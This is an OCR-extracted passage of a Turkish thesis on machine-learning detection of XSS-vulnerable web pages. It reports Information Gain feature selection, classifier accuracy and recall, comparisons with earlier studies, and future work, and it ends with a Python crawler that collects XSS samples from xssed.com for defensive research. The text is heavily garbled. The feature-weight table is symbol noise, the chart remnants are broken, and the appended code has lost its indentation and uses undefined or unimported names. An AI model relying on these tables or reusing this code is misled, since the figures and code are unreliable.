destekler, ancak bazilari ikili siniflandirmada daha i1yi performans gosterirken, digerleri ¢cok
siifli stmiflandirmada, 6rnegin GDM, ikili simiflandirmada DVM’den daha iyi performans

gosterir (Oracle, 2019).

Gergeklestirilen tiim deneylerden elde edilen en 1yi performansi saglayan onemli ozellikler

asagidaki tabloda gosterilmektedir:

Tablo 4.4: IG teknigi ile belirlenen en iyi 14 agirlikli 6zellik

7
«
= £
=} Q
. E
= g
= o
& g - en w o~ = 3 = S S & 8 K - b
= wn = = = = = = = = = = = = = =
Q) Q) () A > N 3 S
SIS RS P D g &
BLhtml non-XSS o 0 0 & o & & o0 0 0 > &
%) N3 O 3 v 5 %)
S F O S RS
B2html non-XSS 0 0 0 & & 5 & o & 0o 0
R ) Q& $ NEERCERS
B3.html non-XSS 09 69 Qg 0 Q? Q9 0 0 Q§ 0 0 QQ QQ Q§
S O N A N
Q Q Q) \) ) Q
B5Shtml nmon-XSS © © 0 0 0 0 0 0 0 9
3 $ \ 2 ) 9 3 S X
\ Q Q \Y Q \) o \) Q
B6html non-XSS ©° 0 & 0 o o 0 0 0 0 &
Qo) N A ) S N N
\) \y Q % Q! N %) S
BZhtml non-XSS © © o 0 & o & o & o o & 0o 0
$ 2 QO 9
Q L L S
MLhtml XSS 0 & o o & 0 0 0 0 0 0 0
A N Q WV ™ O S v ) 3 o
() Q) \S O V N\ & ) Q & \)
M2html XSS © o o (0 © o o & & 0 & g
\Y O N o) \
Q \) ) \¥ Q
Q N\ Q Q Q
M3html XSS 0 o 0 0 0 0 0 0o 0
Qo) \Y 5 o
\) Q \ N
Q Q Q Q
Mdhtml XSS o o 0 0 0 0 0 & o o o 0 0
N N &
M5html XSS 0 & o o 0 0 = 0 0 0 0 0
S & &
Méhtml XSS 0 o 0 0 0 © 0 0 o0 o 0 0

Asagidaki tablolar, 3 veri seti ilizerinde gerceklestirilen tiim deneylerin sonuclarini
gostermektedir: ozellikleri ikili degerlerle (“1” veya “0”) gosteren ikili veri seti, 6zelliklerin
frekans (tekrar degeri) olan normallestirilmis frekans veri seti ve tek bir belgede her bir
ozelligin diger terimlere orani olan terim siklig1 (frekansi) veri seti. Tablo 4.5, Tablo 4.6 ve

Tablo 4.7 bu sonuglar1 gostermektedir.
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Tablo 4.5: binary.csv veri seti sinifflandirma sonuclari

Veri Seti A@riikian dl?nz::hk Segimi Dogrulama Teknigi | Algoritma Sonuglar
Teknigi Agirhik Secimi Dogruluk (%) | Geri Cagirma (%)
U, . . NB 73,17 46,41
binary.csv | Bilgi Kazamimi (IG) Ag“hg(?OG‘if)Seglm Ca raleDk:flrlmama DVM 86,01 89,45
P P & GDM 88.21 86,72

Tablo 4.6: normalized_frequency.csv veri seti siniflandirma sonuglari

Veri Seti A@irhikian dl?;::hk Secimi Dogrulama Teknigi | Algoritma Sonular
Teknigi Agirhk Secimi Dogruluk (%) | Geri Cagirma (%)
. . e . NB 81,11 96,02
’.“””"f‘l’fed* Bilgi Kazanimi (IG) Ag““g(f G‘iff)se?‘m loDkaf“ | DVM 84,96 96,64
frequency.csv op Capraz Dogrulama DM §7.48 93.20

Tablo 4.7: term_frequency.csv veri seti siniflandirma sonuglari

Veri Seti Afrhklan dl(r)rf]e;hk Seali Dogrulama Teknigi | Algoritma Sonuglar
g Teknigi Agirlik Secimi Dogruluk (%) | Geri Cagirma (%)
e . ] NB 55,80 100,0
fre Z)er:;z_' csv Bilgi Kazanum (IG) Aglrhg(?oG(iT)Seglm Ca ralzoDk(:“ti‘lulama DvH™ 79,62 97,50
quency. P P g GDM 85.61 93,08

5. TARTISMA VE SONUC

Bu boliim, kullanilan 6zelliklere, 6zellik kiimesini en aza indirmek i¢in 6zellik se¢iminin
siniflandirmay1 iyilestirmek amaciyla gerekli olup olmadigina ve son olarak kullanilan

algoritmalarin performansinin karsilastirilmasina odaklanmaktadir.

5.1. KULLANILAN OZELLIKLERIN GEREKCESI

Literatiirdeki 6nceki caligsmalarda yaklagik 100 farkl 6zellik (URL, domain ve igerik ile ilgili
ozellikler) kullanilmistir, ancak bu ¢alismada literatiirden (igerik tabanli) 50 adet HTML ve
JavaScript 6zelligi toplanmistir ve RapidMiner uygulamasinda Bilgi Kazanim teknikleri ve
Agirliga Gore Secim operatorii uygulanarak en 6nemli (bu ¢calismadaki problemin ¢dziimiine
en fazla katkisi olan) 14 ozellik secilmeye calisilmistir. Boylece siniflandirma sonuglarinin
yeterli oldugu ve (XSS zafiyeti barindiran) hedef sinifin geri ¢agirma (duyarlilik) metriginin

DVM ve GDM algoritmalar: i¢in yliksek oldugu goriilmiistiir. Ayrica ¢alismada asagidaki
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sonug¢lar elde edilmistir:

1. URL ve domain tabanl 6zellikler, XSS siiflandirmasi icin gerekli/faydali degildir,
clinkii icerik tabanli 6zellikler bu amac i¢in yeterli gériinmektedir. URL 6zelliklerinin
kullanilmasi siniflandiriciya yalmizca islenmesi gereken gereksiz veri, egitim siiresi ve

bilgi islem kaynak kullanim ilave eder.

2. URLlerde bulunan XSS saldir1 desenleri, yalnizca web sayfasinin savunmasiz
olduguna dair bir siiphe olusturabilir, ancak sayfanin kesinlikle XSS saldir
desenlerinden etkilenip etkilenmedigini sdylemek icin kullanilamaz, dolayistyla URL

ozellikleri, XSS web sayfasi siniflandirmasiyla ilgisizdir.

Bilgi Kazanimini kullanarak, orijinal 6zellik kiimesinden (50 6zellik) ¢ok fazla 6zelligin
cok kiiciik veya sifir agirliga sahip oldugu bulunmustur, bu nedenle karsilik gelen hedef
sinift temsil etmek icin faydali olacak makul agirlikta en 6nemli 6zellikleri segmek ¢cok daha
anlamh ve gereklidir. Boylece modelin calisma zaman1 kisalmakta, model daha optimum
hale gelmekte ve islem giicii, hafiza, enerji gibi kaynaklarin kullanimi ¢ok daha efektif

olmaktadir.

Makine 6grenmesi modelinin optimizasyonu sonucunda elde edilmek istenen bazi ¢iktilar
su sekilde siralanabilir; (/) Siirecteki veya islemlerdeki gecikmelerin Onlenmesi, (2)
Verilerden gercek zamanli olarak yararlanabilme, (3) Harekete ge¢cmeden Once verilerin
analiz edilebilmesi, (4) Verilerin karara doniistiiriilebilmesi ve (5) En son teknoloji ve

yontemlerden yararlanilabilmesi.

5.2. SECILEN OZELLIKLERE DAIR PERFORMANSIN KARSILASTIRILMASI

Daha 6nce bahsedildigi gibi, dnceki calismalarda, siniflandirma modelinin performansini
ve hesaplama siiresini iyilestirebilecek ozellik secimi uygulanmadan ¢ok fazla ozellik
kullanilmigtir. Bu calismada, performansi artirmak ve hi¢ 6zellik seciminin olmadigi duruma
gore daha iyi sonuglar elde etmek amaciyla Bilgi Kazanimi (IG) adli 6zellik secim teknigi
uygulanmugtir. Sonuglart karsilagtirmak icin her iki yontem de denenmistir. Asagidaki

tablolar, ilk 14 6zelligi secmek ve kullanmak i¢in IG 6zellik se¢imi uygulandiginda ve tiim
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ozellikler secim yapilmadan kullanildiginda, ii¢ veri seti ve kullanilan ii¢ algoritma i¢in tiim

sonuglar1 gostermektedir.

Tablo 5.1: binary.csv veri setinde Ozellik se¢imi kullanma-kullanmama sonuglarinin

karsilagtirilmasi
. Dogruluk Geri Cagirma
Algoritma Ozellikler 1G Ozellik secimi Ozellikler 1G Ozellik se¢imi
ile secildiginde (%) | yapilmadiginda (%) | ile secildiginde (%) | yapilmadiginda (%)
NB 72,90 73,17 99,50 46,41
DVM 89,60 86,91 90,70 89,45
GDM 88,20 88,21 92,60 86,72

Tablo 5.2: normalized_frequency.csv veri setinde Ozellik secimi kullanma-kullanmama
sonu¢larinin karsilastirilmasi

Algoritma Dogruluk Geri Cagirma
Ozellikler IG Ozellik secimi Ozellikler 1G Ozellik se¢cimi
ile secildiginde (%) | yapilmadiginda (%) | ile secildiginde (%) | yapilmadiginda (%)
NB 51,30 81,11 0,30 96,02
DVM 81,80 84,96 71,80 96,64
GDM 88,50 87,48 99,20 93,20

Tablo 5.3: term_frequency.csv veri setinde 0zellik se¢imi kullanma-kullanmama sonugclarinin

kargilastirilmasi
. Dogruluk Geri Cagirma
Algoritma Ozellikler IG Ozellik secimi Ozellikler IG Ozellik secimi
ile secildiginde (%) | yapilmadiginda (%) | ile secildiginde (%) | yapilmadiginda (%)
NB 51,20 55,80 0,0 100,0
DVM 49,70 79,62 100,0 97,50
GDM 55,20 85,61 8,20 93,98
Ozellik Secimine Dayali Dogruluk Metrigi
100,00 %87,10
%,00,00 %83,83 ° _.
%80,00 M -
%70,00 97370 %77.30
%60,00 /
950,00 258.47
240,00
30,00
20,00
10,00
%0.,00
NB DVM GDM
=8 G ile secilen dzelliklere gire —e=— Ozellik secimi olmadan

Sekil 5.1: Ozellik secimine dayali dogruluk metrigi sonuclariin karsilastiriimasi



181

Ozellik Segimine Dayal Geri Cagirma Metrigi
100,00 %84.53 491,30

990,00 M‘ = |
980,00 %67.50

%70.00
%60,00
%50,00
%40,00
%30.00
%20,00
%10,00

%0,00
NB DVM GDM

%3327

== G ile secilen dzelliklere gire —e= Ozellik segimi olmadan

Sekil 5.2: Ozellik se¢imine dayali geri ¢agirma metrigi sonuglarinin karsilastirilmasi

Tablo 5.1, Tablo 5.2 ve Tablo 5.3 ile Sekil 5.1 ve Sekil 5.2’den, hicbir 6zellik secimi
uygulanmadiginda bazi algoritmalardaki dogruluk ve geri cagirmanin (duyarlhilifin) diistiigii
goriilmektedir, bu da 50 6zelligin tiimiinii daha kiiciik bir alt kiimeye indirmeye calismadan
kullanmak anlamina gelir ki bu, siniflandirma performansinda bir azalmaya ve hesaplama
siiresinde bir artigsa yol acar, ciinkii egitim ve test siirecleri, 2.620 6rnek (veri setindeki bir
satir) iizerinde 14 6zellik yerine 50 6zellik iizerinden ge¢gmektedir. Deneyler i¢in kullanilan
bilgisayar yiiksek donanim o6zelliklerine sahip ve veri seti gorece kiiciik oldugundan bu
raporda hesaplama siiresinden bahsedilmemistir, bu nedenle islem her zaman hizli ¢calistig1
icin 50 ozelligin veya 14 oOzelligin tiimiiniin kullanilmas1 bu calismanin siiflandirma
hesaplama siiresini ciddi oranda etkilememektedir, ancak literatiir taramasinda goriildiigii
gibi biiyiik veri setleri {izerinde ¢alisirken model, bu durumdan olumsuz etkilenecek ve belki

de modelin gercek zamanli olarak uygulanmasi miimkiin olmayacaktir.

5.3. KULLANILAN VERI KUMELERININ PERFORMANS KARSILASTIRMASI

Bu calismanin deneyleri, ii¢ veri seti ile yapilmistir ve tiim iglemler, performansi ayri ayri
hesaplamak icin hepsine ayr1 ayri1 uygulanmistir. Nihai performansi hesaplamak icin tiim

sonuglarin ortalamasi alinmistir.

Yukarida Tablo 5.1, Tablo 5.2 ve Tablo 5.3’teki performans sonuglarini, veri setinin
boyutu ve kaynagi, ozellik tiirii ve sayisi, siniflandirici veya hatta yaklasimlar ve ¢apraz
dogrulama farklilig1 nedeniyle bagka bir arastirmacinin sonuglariyla karsilastirmak c¢ok
dogru olmayacaktir. Bu nedenle, bu calismaya ait kullanilan ii¢ veri kiimesi lizerine

uygulanan iti¢ smiflandirict (NB, DVM ve GDM) arasinda performans karsilastirmasi
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Tablo 5.4: Dogruluk metriginin genel sonuclari

. . Dogruluk (%)
Veri seti NB _ DVM GDM
binary.csv 73,17 86,91 88,21
normalized_frequency.csv 81,11 84,96 87,48
term_frequency.csv 55,80 79,62 85,61
Ortalama 70,03 83,83 87,10

Tablo 5.5: Geri ¢agirma metriginin genel sonuclari

. . Geri cagirma (%)
Veri seti NB  DVM GDM
binary.csv 46,41 89,45 86,72
normalized_frequency.csv 96,02 96,64 93,20
term_frequency.csv 100,0 97,50 93,98
Ortalama 80,81 94,53 91,30

yapilmistir. Ardindan, deneylerde elde edilen en iyi performansi (tim veri setlerinin
ortalamas1) onceki calismalarla karsilastirabiliriz. Ve bu karsilastirmanin amaci hangisinin
en iyi oldugunu gostermek degil, sadece XSS web sayfalarinin siniflandirmasi i¢in mevcut

coziimler arasindaki sonug seviyesini gostermektir.

Oracle (2019)’a gore, hem NB hem de DVM ikili ve ¢ok smifli siniflandirma igin
kullanilabilir, ancak cok smifli veri setinde daha iyi performans gosterirler. Ancak, bu
tiir siniflandirmalardaki daha iyi performansi nedeniyle Oracle tarafindan ikili sinif veri

setlerinde GDM kullanilmasi Onerilir.

Sekil 5.3 ve Sekil 5.4’ten elde edilen sonuclara gore, GDM algoritmas1 kullanildiginda
tutarli ve en iyi sonuglar elde edilmektedir. NB ve DVM arasinda DVM daha iyi bir
performans gostermistir. Dogruluk acisindan tiim deneylerden ve tiim algoritmalardan elde
edilen en iyi performans GDM tarafindan saglanmig (ortalama sonug: %87.10) ve geri
cagirma acgisindan NB daha diisiik, DVM ise GDM’den daha yiiksek sonu¢ elde etmistir,
ancak genel olarak ortalamada tiim algoritmalar, %80’in lizerinde olan 1yi bir geri ¢cagirma
sonucu gostermistir. NB ve DVM tarafindan elde edilen yiiksek geri ¢agirma oranlarina
bakilmaksizin, dogruluk ve geri ¢agirma acisindan tutarli performans gosteren GDM’den
daha yiiksek yanlis alarm iiretme egiliminde olduklart i¢in dogruluk agisindan daha az

performans gostermislerdir. NB ve DVM, dogruluk oranim etkileyen daha yiiksek yanlis
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Kullanilan Veri Setine Dayali Dogruluk Metrigi

term_frequency.csv

5
2 nomalized_frequency.csv
E
pla ]
]
O
binary.csv
%0,00 %20,00 %40,00 %60,00 %80,00  %.100,00
= GDM = DVM mNB
Sekil 5.3: Kullanilan veri setine gore dogruluk metrigini karsilastirma
Kullanilan Veri Setine Dayali Geri Cagirma Metrigi
term_frequency.csv
[3+]
E :
= nomalized_frequency.csv
(g
5
]

binary.csv

500,00 20,00 %4000 %6000  %E80,00  %2100,00

» GDM = DVM mNB

Sekil 5.4: Kullanilan veri setine gore geri ¢agirma metrigini karsilastirma
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pozitif sonuglar iretir, ancak pozitif drnekleri pozitif (gercek pozitif) olarak algilayan geri

cagirma agisindan iyi sonuglara sahiptirler.

Tim deneylerde, agirliga gore ilk 14 6zellik secilir ve siniflandirma islemi i¢in kullanilir.
Ozniteliklerin orijinal seti 50 ozellikti, ancak IG ve Agirhiga Gore Secim tekniklerini
kullandiktan sonra, elde edilen 6zelliklerin alt kiimesi yalmizca 14 adettir, bu da Onceki
calismalara kiyasla daha kisa egitim, test siiresi ve operasyonel kaynak kullanimiyla

Tablo 5.1, Tablo 5.2 ile Tablo 5.3’teki ayn1 veya daha iyi sonuclar saglamigtir.

Tablo 5.6: Dogruluk metrigi sonuglarinin karsilagtirilmasi

Dogruluk (%)
NB DVM GDM
(Likarish, Jung ve Jo, 2009) 77,20 86,40 -
(Nunan ve dig., 2012) 94,07 95,02 -
Bu calisma 70,03 83,83 87,10

Smiflandirma Yaklasim

Tablo 5.7: Geri Cagirma metrigi sonug¢larinin karsilastirilmasi

Geri Cagirma (%)
NB DVM GDM
(Likarish, Jung ve Jo, 2009) 65,90 74,20 -
(Nunan ve dig., 2012) - 94,00 -
Bu calisma 80,81 94,53 91,30

Smiflandirma Yaklasim

Yukaridaki karsilagtirmadan, bu ¢alismanin sonuglar1 Likarish, Jung ve Jo (2009) tarafindan
yapilan calismadan dogruluk agisindan daha kotii ancak geri cagirma acgisindan daha
1yi oldugu goriilmektedir ve bunun olasi nedeninin bu calismada kullanilan veri seti
ve secilen oOzellikler olabilecegi diisiiniilmektedir. Farkli veri setleri ile modelin farkli
performans metrikleri vermesi olasidir. Daha 6nce yapilan calismalarda HTML kaynak
kodu haricinde URL ozellikleri de kullanilmistir ancak sayfa siiflandirmasinin en iyi
yolu, yalnizca tiim XSS saldirilarinin etkinlestigi HTML iceriginden elde edilen 6zellikleri
kullanmaktir. Diger bir nokta ise, Likarish, Jung ve Jo (2009) tarafindan yapilan ¢alismada
60 oznitelik kullanilmis ve bu, 6zellik se¢cimi olmadan bu 6zniteliklerden bazilarinin alakasiz
ve belki de gereksiz oldugu ve tipki giiriiltiiniin neden oldugu kadar giiriiltii olusturdugu
varsayilldigindan, karmagiklifa ve siniflandirmanin daha diisiik performansa neden olmus
olabilir. Geri ¢agirma 6l¢iimii i¢in, bu calismanin sonuclarinin, Likarish, Jung ve Jo (2009)

tarafindan yapilan calismadan ve Nunan ve dig. (2012) tarafindan yapilan ¢alismadan daha
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yiiksek puan aldig1 goriilmektedir, bu da siniflandiricinin XSS zafiyeti iceren sayfalari
kotiiciil (XSS) olarak algilamadaki 1yi performansini gosterir, aynt zamanda bu gergek pozitif

orani olarak da bilinir.

Bu boliimde, 6zellik se¢ciminin kurulumu ve siniflandirma siireci tartisilmistir. Daha onceki
boliimlerde oznitelikler secildikten sonra, onemli olan ve hedef smifi tespit etmek icin
kullanilabilecek bir dizi 0znitelige indirgenmeleri gerektiginden bahsedilmisti. Bu boliimde
Bilgi Kazanimi ve Agirliga Gore Secim kullanilarak 6znitelik se¢im siireci ayrintili olarak
aciklanmugtir. Ug siniflandirma algoritmasi; NB, DVM ve GDM degerlendirilmistir. Ikili
siniflandirma i¢cin GDM, bu tiir siniflandirmalarda daha iyi performans gosterdigi i¢in {igii
arasinda en iyisi oldugu kamitlanmistir. Sonuglar1 6nceki caligmalarla karsilagtirarak, goz
ardi edilen 6zelliklerin ¢ok kiigiikten agirliksiza kadar simiflandirmaya katkisinin cok kiiciik
olmast ve GDM’nin dogrulugunun Nunan ve dig. (2012) tarafindan yapilan ¢alismada
kullanilan DVM ve NB’den daha yiiksek olmasi nedeniyle 6zellik sayisi en aza indirilmis ve
geri ¢cagirma orani da gelistirilmistir. Ayrica, saldir1 vektorleri igerige nasil girilirse girilsin,
saldir1 vektorleri web sayfasi belgesinde bulunup etkinlestirildiginden, XSS web sayfalari
gibi icerik tabanli simiflar1 siniflandirmak i¢in URL o6zelliklerinden ziyade igerige bagh

ozelliklerin yeterli oldugu goriilmektedir.

Calismada elde edilen sonuclar iizerine, secilen oOzellikler arasinda anlamli bir
korelasyon olabilecegi ve bunun, calismada elde edilen sonuglar ile model performansini
etkileyebileceginden siiphelenilerek RapidMiner yazilimindaki “Korelasyon Matrisi”
operatorii kullanilmig ve ciktilar1 incelenmistir ancak elde edilen sonuglarla, secilen

ozellikler arasinda anlamli bir korelasyon olmadig1 goriilmiistiir.

inp res

res

Sekil 5.5: Rapidminer’da Korelasyon Matrisi operatoriiniin kullanilmasi

Benzer bicimde, olusturulan ve kullanilan veri setinden kaynakli olarak veri setindeki bazi

disa diisen (outliers) orneklerin, sonuglar1 ve model performansini etkileyebileceginden
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stiphelenilmis ve RapidMiner yazilimindaki “Detect Outlier” operatorii ile Outlier analizi
yapilmis olup disa diisen olarak tespit edilen 15 Ornek, veri setinden ¢ikarilarak model
tekrar analiz edilmistir. Yeni veri setinden elde edilen dogruluk ve geri ¢agirma degerlerinde

anlaml bir degisim olmadig: tespit edilmigtir.

RapidMiner ile analiz sonucunda, bir¢cok 0Ozelligin Bilgi Kazanimi ile yapilan
agirliklandirmalarinin sifir veya sifira ¢cok yakin oldugu goériinmektedir. Bu durum kullanilan
veri setiyle de iligkili olabilir ancak aym zamanda XSS tespiti i¢in kullanilmasi gereken
ozelliklerin basarili bir bicimde secilmesinin onemini de gostermektedir. Literatiirde daha

once yapilmis olan ¢alismalarda da, bu anlamda bir iyilestirme alan1 bulundugu séylenebilir.

Literatiirdeki calismalarda kullanilan ornek veri setlerinin agik ve erisilebilir olmamasi ve
bu nedenle farkli ¢alismalarda farkli veri setlerinin kullanimi, s6z konusu caligsmalarda
ayn1 makine O8renmesi algoritmalart ve aym performans metrikleri dikkate alinsa bile,
caligmalarin birbiriyle karsilastirilmasinda arastirmacilart yanlis sonuglara ve hatali odak
noktalarina gotiirebilmektedir. Bu baglamda belki de ¢caligmalarin ayni veri setini girdi alarak

tekrarlanmasi ve sonuglarin birbiriyle karsilagtirilmasi1 daha dogru sonuglar verecektir.

54. SONUC VE GELECEK CALISMALAR

Bu calismanin amaci, neredeyse Web’in baglangicindan beri varligini siirdiiren, tarayici
tizerinden son kullanicilar1 hedef alan XSS zafiyetinin tespiti i¢in makine Ogrenmesi
yontemlerini kullanan, hizli ve tatmin edici bir basar1 orani sunan bir model kurmaktir.
Internet diinyasinda saniyede gerceklesen islemlerin biiyiikliigii, iiretilen ve transfer edilen
devasa bilgi diisiiniildiigiinde, maliyet etkin bir tespit yontemi gelistirilmesi ve bu modelin
gerek ayri bir tarayici giivenlik eklentisi seklinde veya mevcut u¢ nokta giivenlik ¢oziimlerine
entegre edilebilir olmasi, ¢alismanin uygulanabilirligi ve iiriine doniistiiriilebilir olmasi

acisindan 6nem arz etmektedir.

XSS saldirilarim1 web sunucusuna bagimli olmadan veya sunucuya yiik bindirmeden, dagitik,
hizli ve dogru bir bicimde tespit edebilen istemci odakli giivenlik uygulamalarina sahip
olmak ¢cok dnemlidir. XSS’1 tespit etmenin bir¢ok yolundan biri, daha once kullanilan riintii
ve imza temelli yontemlerden daha giincel bir yontem olarak, XSS saldirt modellerini tespit

etmek amaciyla web sayfasinin icerigini incelemek tizere 6zellik miithendisligi yapmak ve
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makine Ogrenimi tekniklerini kullanmaktir. Mevcut makine 68renimi ¢oziimlerinin ¢ogu,
URL ve domain ozellikleri gibi XSS tespiti icin gereksiz ve anlamli olmayacak ozelliklerle,
1yl bir performans gosterme yeterliligine sahip olmayan ¢ok fazla icerik tabanh o6zellik
kullanmakta ve ¢6ziim i¢in ne kadar ¢ok 6zellik kullanirsa, 6zellikle de bu veri setleri ¢cok
biiyiikse, veri seti iizerinde e8itim/test yapmak o kadar uzun siirmekte ve islemci-bellek gibi
kisith kaynaklarin kullanimi da artmaktadir. Bu ¢alisma kapsaminda, en 6nemli 6znitelikleri
secmek icin Bilgi Kazanimi (IG) kullanarak Oznitelik se¢imini uygulamak yer almakta,
bu da daha kiiciik bir 6zellik alt kiimesine, ayn1 ya da daha iyi performansa ve daha az
egitim ile test siiresine ulasmay1 ve modelin optimize edilmesini hedeflemektedir. Calismada,
cikarim asamasinda 50 ozellik kullanilmig ve sonugta, kullanilan tiim veri setlerinde ve
siniflandiricilarda daha iyi dogruluk performans: elde eden ve problemin ¢oziimii i¢in en

onemli olarak belirlenen 14 6zellige ulasilmistir.

Bu calismay1r yapmanin arkasindaki temel fikir, bir web sayfasinin bir XSS vektoriiyle
enfekte olup olmayacagimi hizla belirleyebilecek hafif bir erken degerlendirme modeli
saglamaktir. Bu ¢alisma, kotii niyetli kodun temel 6zelliklerini siniflandirarak ve istemci
tarafinda bir onleyici kullanarak onceden bilinmeyen kotii amacli komut dosyalarini tespit
etmek icin etkili bir yontem 6nermeye ¢alismaktadir. Deneysel sonuglar, nerilen yaklagimla
kot niyetli JavaScript kodunun tespitinde diisiik yanlis pozitif oran1 ve yiiksek dogruluk

orani ile bir model elde edebilecegini gostermektedir.

Calismada elde edilen sonuglarin gercek diinyada kullanilabilir oldugu goriilmektedir.
Bu modelin uygulanmasi ve son kullanici tarafindan kullanilabilmesi i¢in bir tarayici
eklentisi veya tarayicilarda kullanilabilecek bir ara¢ cubugu gelistirilebilir. Bu eklenti
ile, sunucu-kullanici arasina girerek, kullanic1 web sayfasi ile etkilesime gecmeden 6nce
elde edilecek veriler ve bu verilerden cikarilacak ozelliklerle, modelin isletilmesi ve
ziyaret edilmeye calisilan sayfasinin iyicil veya kétiiciil olarak siniflandirilmasi, kullanicinin
uyarilmas1 ve gerekirse ziyaretin engellenmesi veya son kararin kullaniciya birakilmasi
miimkiin goriinmektedir. S6z konusu uygulamanin, istemci ile sunucu arasina girecek bir
vekil sunucu iizerinde yapilarak, istemcinin tiim web isteklerinin vekil sunucu iizerine

yonlendirilmesi ile gergeklenmesi de miimkiindiir.

Bu calismanin ii¢ ana hedefi (XSS tespiti i¢in en iyi Ozelliklerin belirlenmesi, en etkili

ozelliklerin secilmesi, en optimum siniflandirma modelinin kurulmasi) olmakla birlikte
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ayrica ulasilan alt hedefler/sonuglar da s6z konusudur.

Ayrica caligsma siiresince, miimkiin oldugunca genel gecer olarak iiretilen Python betiklerinin
de diger calismalar veya mevcut ¢calismanin genigletilmesi noktasinda diger arastirmacilara

yardimci olabilecegi diistiniilmektedir.

Bu calisma i¢in Ornek veri seti ve kapsama alinan makine O6grenmesi algoritmalari
degerlendirilerek pratik kullanimi dolayisi ile RapidMiner paket uygulamasi tercih edilmis
olup, Weka, R Tool, KNIME gibi benzer araclarin kullanim1 veya calisma icerinde zaman
zaman kullanildig1 gibi yerel ve naif bir ¢oziim olarak arastirmaci tarafindan gelistirilecek

olan Python betiklerinin kullanilmasi da miimkiindiir.

XSS, bircok dgesi olan genis Web ekosisteminde cogunlukla son kullanicilar: hedef almakla
birlikte, yonetici panellerinin ve gomiilii sistemlerin web arayiizleri de diisiiniildiigiinde,
bu platformlar1 hedef alan XSS acikliklarinin ve bu acikliklar: istismar eden saldirilarin,
ev kullanicilarin1 hedef alan XSS saldirilarindan ¢ok daha kritik etkileri olacagi agiktir.
Daha once de belirtildigi gibi XSS zafiyetleri daha sofistike saldirilarin kurgulanmasi i¢in
kullanilabilir, dolayis: ile sistem yoneticilerini hedef alacak bir XSS saldirisinin topyekun

tiim sistemi etkileyecek bir saldiriin baslangici i¢in kullanilabilmesi de olasidir.

Bu calismada ele alinan hedefler, elde edilen sonug ve kazanimlar asagidaki hususlar dikkate

aliarak genisletilebilir ve/veya artirilabilir:

1. Gercek diinyadaki biiyiik verilerle birlikte, gercek zamanl olarak ve farkli kullanici
aliskanliklariyla nasil performans gosterdigini test etmek i¢in, Chrome veya Firefox
gibi web tarayicilarinda kullanilabilen bir giivenlik eklentisi gelistirilip elde edilen
siiflandirma modeli, secilen ve ozellestirilebilir 6zelliklerle entegre edilebilir. Ayrica
bu eklenti, 6zniteliklerle ilgili veri toplamak/veri seti olusturmak i¢in de kullanilabilir.
Daha dogru sonuglara gotiirecek daha biiyiik veri setleri kullanarak 6zellik se¢iminin
saglamhig1 ve tutarhligi gelistirilebilir. Ozellikle bu calismada iyicil veri setinin
olusturulmasi siirecinde oldugu gibi kétiiciil veri seti i¢in de canli web kaynaklarindan

daha giincel bir veri taban1/ornek veri seti olusturulabilir.

il. XSS tespiti i¢in kullanilan HTML ve JavaScript temelli ayr1 ayr1t 50-100 o6zellik
kullanilmas1 yerine bu Ozellikler, Kod Okunabilirligi (Readability), Nesneler
(Objects), Olaylar (Events), Metotlar (Methods), Etiketler (Tags), Nitelikler
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(Attributes), Anahtar Kelimeler (Keywords), Fonksiyonlar (Functions), Koda gomiilen
harici dosyalar (External Files) gibi {iist basliklar altinda toparlanarak ve bu
bagliklar birer Oznitelikmis gibi farkli endeks degerleri belirlenerek bir calisma

gerceklestirilebilir.

Benzer bir ¢alisma, mobil platformlara uyumlu olarak gelistirilen web tabanl
uygulamalar ve web sayfalari/arayiizleri icin de gerceklestirilerek sonuglardaki
benzerlikler ve farkliliklar incelenebilir. Bu platformlardaki siniflandirmalar i¢in farkli
ozelliklerin kullanilmasi gerekip gerekmedigi arastirilabilir (OWASP Mobil Top 10
risk siniflandirmasi igerisinde XSS’in dogrudan yer almadigi goriilmektedir (OWASP
Mobile Top 10, 2022)). Masaiistii ortam i¢in Onerilen tarayici eklentisi tarzindaki
¢cOziim, mobil platformlardaki tarayicilar icin de gelistirilerek mobil platformlardan
da 1iyicil-kotiiciil ornek veri seti toplanmasi veya modelin gercek zamanli olarak
uygulamas1 yapilabilir. Ayrica, mobil cihazlar gibi kisith kaynaga ve veri islem
kabiliyetine sahip cihazlar i¢in modelin ¢aligabilirligi ve uygulanabilirligi de ilaveten

degerlendirilmesi gereken bir husus olabilir.
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EKLER

EK 1. Uygulamada kullamlan Python kodlar:
Asagidaki betik, xssed.com web adresinden istenen sayida XSS zafiyeti iceren Ornegi

otomatik olarak toplamak amaciyla kullanilmigtir:

### xssed.py ###
import urllib.request
import re

import sys

import os

import signal

# Uyari: Betigin caligmasi sirasinda, bilgisayarda aktif olan Giivenlik Duvari (Firewall) /
< Saldiri Tespit Sistemi (Host IPS) tarzi uygulamalar, betigin galigmasini olumsuz
— etkileyebilmektedir.

#Sabitlerin tanimlanmasi

dizin = os.path.dirname(sys.argv[0])+"/dataset/xss/"
toplanacakKayitSayisi = 3000

baslangicSayfalNo = 1

#Renkler

HEADER = >\033[95m’
ENDC = °>\033[0m’
OKGREEN = ’\033[92m’
OKBLUE = °\033[94m’
BOLD = °\033[1m’
FAIL = °\033[91m’

il xssed = []

if not os.path.exists(dizin):
os.makedirs(dizin)

def timed_out (timeout):
def decorate(f):
if not hasattr(signal, "SIGALRM"):
return f

def handler(signum, frame):
raise TimedOutExc ()

@functools.wraps (f)
def new_f (*args, *xkwargs):
old = signal.signal(signal.SIGALRM, handler)
timed_out (timeout)
try:
result = f(*args, **kwargs)
finally:
signal.signal (signal.SIGALRM, old)
timed_out (0)
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return result

new_f.func_name = f.func_name
return new_f

return decorate
xssed_crawler(kayit_sayisi, page = 1):

print (BOLD + OKGREEN + "www.xssed.com sayfasindan zararli kayitlar taraniyor..." + ENDC
— + ’\n’)

kalanSiteSayisi = kayit_sayisi
while(kalanSiteSayisi) :

try:
parentHtml = urllib.request.urlopen(’http://www.xssed.com/archive/page=’ + str(
— page) + ’/’).read().decode(’latin-17)
except Exception as e:
print(’\n’ + "Hata : " + FAIL + str(e.type) + " = " + str(e) + ENDC + ’\n’)
continue

for website in [m.start() + len("/mirror/") for m in re.finditer("/mirror/",
— parentHtml)]:
timed_out (60*10) #Yineleme 10 dakikadan fazla siirerse, bu kaydi atlayalim

mirrorInd = parentHtml [website:parentHtml.find("/", website)]

try:
mirrorHtml = urllib.request.urlopen(’http://www.xssed.com/mirror/’> + str(
— mirrorInd) + ’/’).read().decode(’latin-1)
except Exception as e:
print(’\n’> + "Hata : " + FAIL + str(type(e)) + " =" + str(e) + ENDC + ’\n’)
continue

